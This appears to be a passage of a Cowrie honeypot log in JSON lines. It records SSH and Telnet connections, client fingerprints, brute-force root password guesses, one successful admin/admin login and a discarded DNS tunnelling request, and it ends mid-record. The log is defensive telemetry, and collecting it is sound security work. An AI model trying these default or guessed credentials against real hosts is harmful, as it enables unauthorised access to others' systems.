{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:58:06.845817Z","src_ip":"176.32.39.21","session":"ddce17ca683d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":34016,"dst_ip":"159.203.135.109","dst_port":22,"session":"db6218064e47","protocol":"ssh","message":"New connection: 103.172.78.219:34016 (159.203.135.109:22) [session: db6218064e47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:59:30.102566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:59:30.106678Z","src_ip":"103.172.78.219","session":"db6218064e47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:59:30.366770Z","src_ip":"103.172.78.219","session":"db6218064e47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ruslan1995","message":"login attempt [root/ruslan1995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:59:31.140093Z","src_ip":"103.172.78.219","session":"db6218064e47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:59:32.399876Z","src_ip":"103.172.78.219","session":"db6218064e47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":50414,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1c35fb3c4d6","protocol":"telnet","message":"New connection: 94.23.66.112:50414 (10.17.0.5:23) [session: d1c35fb3c4d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:59:38.425407Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":48042,"dst_ip":"159.203.135.109","dst_port":23,"session":"05466baef05f","protocol":"telnet","message":"New connection: 107.6.151.170:48042 (159.203.135.109:23) [session: 05466baef05f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:59:42.323203Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":36482,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc27a9cdf265","protocol":"telnet","message":"New connection: 172.81.62.90:36482 (159.203.135.109:23) [session: cc27a9cdf265]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:59:48.663532Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":34858,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca9a5fcafc8c","protocol":"telnet","message":"New connection: 107.6.151.170:34858 (159.203.135.109:23) [session: ca9a5fcafc8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:59:52.668805Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":51760,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f86ccfeca16","protocol":"telnet","message":"New connection: 172.81.62.90:51760 (159.203.135.109:23) [session: 2f86ccfeca16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:59:52.897093Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":35832,"dst_ip":"10.17.0.5","dst_port":22,"session":"39f994ddc16c","protocol":"ssh","message":"New connection: 46.19.67.181:35832 (10.17.0.5:22) [session: 39f994ddc16c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:59:57.628855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:59:57.632768Z","src_ip":"46.19.67.181","session":"39f994ddc16c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:59:57.750720Z","src_ip":"46.19.67.181","session":"39f994ddc16c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"260985","message":"login attempt [root/260985] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:59:58.097890Z","src_ip":"46.19.67.181","session":"39f994ddc16c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:59:59.215464Z","src_ip":"46.19.67.181","session":"39f994ddc16c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":6846,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e933e6df9d0","protocol":"ssh","message":"New connection: 38.93.206.2:6846 (10.17.0.5:22) [session: 4e933e6df9d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:00:01.895216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:00:01.907310Z","src_ip":"38.93.206.2","session":"4e933e6df9d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:00:01.962069Z","src_ip":"38.93.206.2","session":"4e933e6df9d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"29091982","message":"login attempt [root/29091982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:00:02.126807Z","src_ip":"38.93.206.2","session":"4e933e6df9d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:00:03.179604Z","src_ip":"38.93.206.2","session":"4e933e6df9d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":33872,"dst_ip":"10.17.0.5","dst_port":22,"session":"bcacf0fc5291","protocol":"ssh","message":"New connection: 27.71.230.31:33872 (10.17.0.5:22) [session: bcacf0fc5291]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:00:03.266134Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:00:03.309446Z","src_ip":"27.71.230.31","session":"bcacf0fc5291","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:00:05.201743Z","src_ip":"27.71.230.31","session":"bcacf0fc5291","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin12","message":"login attempt [root/admin12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:00:06.139276Z","src_ip":"27.71.230.31","session":"bcacf0fc5291","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:00:07.451099Z","src_ip":"27.71.230.31","session":"bcacf0fc5291","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":27.681172370910645,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:00:10.004288Z","src_ip":"107.6.151.170","session":"05466baef05f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":38806,"dst_ip":"10.17.0.5","dst_port":23,"session":"a667bf7d4c7a","protocol":"telnet","message":"New connection: 172.81.62.90:38806 (10.17.0.5:23) [session: a667bf7d4c7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:00:11.593947Z"}
{"eventid":"cowrie.session.closed","duration":30.738283395767212,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:00:23.406888Z","src_ip":"107.6.151.170","session":"ca9a5fcafc8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.998653173446655,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:00:30.895630Z","src_ip":"172.81.62.90","session":"2f86ccfeca16","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.42032790184021,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:00:33.083737Z","src_ip":"172.81.62.90","session":"cc27a9cdf265","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.888826847076416,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:00:49.482625Z","src_ip":"172.81.62.90","session":"a667bf7d4c7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":86.62477898597717,"message":"Connection lost after 86 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:01:05.050089Z","src_ip":"94.23.66.112","session":"d1c35fb3c4d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":39824,"dst_ip":"159.203.135.109","dst_port":23,"session":"404f67b753c1","protocol":"telnet","message":"New connection: 172.81.62.90:39824 (159.203.135.109:23) [session: 404f67b753c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:01:10.147192Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":63376,"dst_ip":"10.17.0.5","dst_port":22,"session":"af1b195afb59","protocol":"ssh","message":"New connection: 87.251.64.176:63376 (10.17.0.5:22) [session: af1b195afb59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:01:12.082574Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:01:12.086768Z","src_ip":"87.251.64.176","session":"af1b195afb59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:01:12.181616Z","src_ip":"87.251.64.176","session":"af1b195afb59","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:01:12.558085Z","src_ip":"87.251.64.176","session":"af1b195afb59","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:01:12.654823Z","session":"af1b195afb59","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:01:12.751268Z","src_ip":"87.251.64.176","session":"af1b195afb59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:01:12.849070Z","src_ip":"87.251.64.176","session":"af1b195afb59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":39972,"dst_ip":"159.203.135.109","dst_port":22,"session":"b09474605e84","protocol":"ssh","message":"New connection: 27.71.230.31:39972 (159.203.135.109:22) [session: b09474605e84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:01:23.138738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:01:23.165060Z","src_ip":"27.71.230.31","session":"b09474605e84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:01:23.412957Z","src_ip":"27.71.230.31","session":"b09474605e84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin12","message":"login attempt [root/admin12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:01:26.786155Z","src_ip":"27.71.230.31","session":"b09474605e84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:01:28.304815Z","src_ip":"27.71.230.31","session":"b09474605e84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.42020010948181,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:01:52.567267Z","src_ip":"172.81.62.90","session":"404f67b753c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.57.224.219","src_port":34728,"dst_ip":"10.17.0.5","dst_port":22,"session":"711ff5469a6c","protocol":"ssh","message":"New connection: 103.57.224.219:34728 (10.17.0.5:22) [session: 711ff5469a6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:03:02.836864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:03:02.841107Z","src_ip":"103.57.224.219","session":"711ff5469a6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","d